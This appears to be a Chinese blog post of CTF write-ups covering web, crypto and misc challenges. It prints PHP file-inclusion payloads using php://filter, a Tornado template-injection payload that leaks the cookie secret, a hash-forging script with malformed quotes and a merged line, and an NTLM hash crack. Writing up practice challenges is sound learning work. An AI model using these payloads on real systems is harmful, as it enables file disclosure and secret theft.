目录
web 1 [极客大挑战 2019]Havefun
打开是一个猫,什么也没有,然后F12查看源码
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
在不起眼的地方得到了这个,如果输入的为dog,即?cat=dog
,那么就能得到flag
web 2 [极客大挑战 2019]Secret File
emmm,查看页面源代码,你会发现.Archive_room.php
然后跳转到
那我们再次查看源代码,会发现./action.php
,点击一下,跳转到end.php,这就让我很懵逼,但根据后面页面的提示就知道action.php,停留时间极短,然后直接跳转到end.php
那我们就试一下抓包
得到
<!DOCTYPE html>
<html>
<!--
secr3t.php
-->
</html>
我们访问secr3t.php
得到
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
应该有文件包含漏洞
看到了flag.php去访问量一下
emmmm,看了一下源代码没有什么东西
还是看那串代码吧
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
我们要绕过那几个敏感词,但是file没有过滤filter
我们可以用php://filter来获取flag。
然后我们就可以构造payload:secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
然后得到一串base64加密的字符
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YjFhMzgyYmQtMTE5NS00Mjk4LTlhYzctMzIzNzlhOTNmNTJlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解密一下得到flag
web 3 [护网杯 2018]easy_tornado
有三个txt文件
根据题目的tornado,意思就是一个用Python语言写成的Web服务器兼Web应用框架。
/flag.txt里是
/flag.txt
flag in /fllllllllllllag
/welcome.txt里是
/welcome.txt
render
/hints.txt里是
/hints.txt
md5(cookie_secret+md5(filename))
看url:http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/file?filename=/flag.txt&filehash=17d621fb10cd85c171cba6d7dafc3044
访问一个文件我们需要有两个条件filename和filehash
将fllllllllllllag替换掉filename
得到报错
看url:http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/error?msg=Error
Error可以被替换为任何字符
?msg=123
到这我就不会了,看了大佬wp
知道了知道了这是个模板注入,并且/welcome.txt里的render是python的一个渲染函数。
报错时候的 url 是这样的
在 tornado 模板中,存在一些可以访问的快速对象
<title>
{{ escape(handler.settings["cookie"]) }}
</title>
那么我们构造payload:http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/error?msg={{handler.settings}}
我们得到了文件名和cookie
我们对其加密得到了cc85887d4387a3df37a470ab517184d2
我这种加密方式比较麻烦
直接上脚本
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def jiami():
filename = ‘/fllllllllllllag‘
cookie_s ="5c68d92e-9f4d-42a4-8960-a98b331de3c1"
print(md5value(filename.encode(‘utf-8‘)))
x=md5value(filename.encode(‘utf-8‘))
y=cookie_s+xprint(md5value(y.encode(‘utf-8‘)))
jiami()
记得cookie要换成自己的
然后构造payload:http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=cc85887d4387a3df37a470ab517184d2
得到flag
web 4 [ACTF2020 新生赛]Include
这种题要不就是查看源码,要不就是文件包含。
url:http://81225635-3118-452e-bd92-27cfaee9ec23.node3.buuoj.cn/?file=flag.php
我们也就可以构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
得到:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MDdhNjI1ZTMtZGFlNC00ZTZlLWI0ZjMtNjZmMmZkNWUzZDlhfQo=
再base64解密,得到flag
Crypto 1 [BJDCTF 2nd]灵能精通-y1ng
得到一个没有后缀的文件,通过分析得到它是jfif文件
打开
这是啥?
我懵逼了
看大佬wp,知道了这是猪圈加密的变形圣堂武士密码(第一次碰见,无知是多么可怕啊)
对照表,得到flag{IMKNIGHTSTEMPLAR}
Cypto 2 权限获得第一步
附件里是:Administrator:500:806EDC27AA52E314AAD3B435B51404EE:F4AD50F57683D4260DFD48AA351A17A8:::
对806EDC27AA52E314AAD3B435B51404EE和F4AD50F57683D4260DFD48AA351A17A8解密,但是第一个没有解密出来,第二个是3617656,提交就是flag。
太突然了。
Cypto 3 萌萌哒猪八戒
猪?
猪圈密码?
附上我收藏的网站猪圈密码解密
得到flag{whenthepigwanttoeat}
Cypto 4 [BJDCTF 2nd]Y1nglish-y1ng
打开附件
最后一行很熟悉,这就让我想到了替换密码,但是不知道替换的值是什么😅😅😅
看了大师傅wp,是BJD 出的题,所以MIH=BJD
恕我做题太少,没想到
暴力破解网站直接破解,取第一个解密值:BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4cy}
但是还需要改某个单词,就是将Cr4cy改成Cr4ck是Crack吗?
Misc 1 被嗅探的流量
是流量分析题
在HTTP里找到,文件上传的信息
双击看具体信息
看到了flag{da73d88936010da1eeeb36e945ec4b97}
Misc 2 小明的保密箱
知道图片里有个有密码的压缩包,我用foremost分离出来。
当然也可以直接修改后缀为zip
也可以用winhex分离出来
如何知道是四位纯数字,直接爆破。
得到flag{75a3d68bf071ee188c418ea6cf0bb043}
Crypto 3 爱因斯坦
又是一张图片
winhex看了一下
flag.txt
又分离得到加密的文件,密码是啥?
别忘了看图片属性里隐藏的信息。
里面给出了密码。
Cypto 4 easycap
流量分析题
追踪tcp流即可得到flag!!!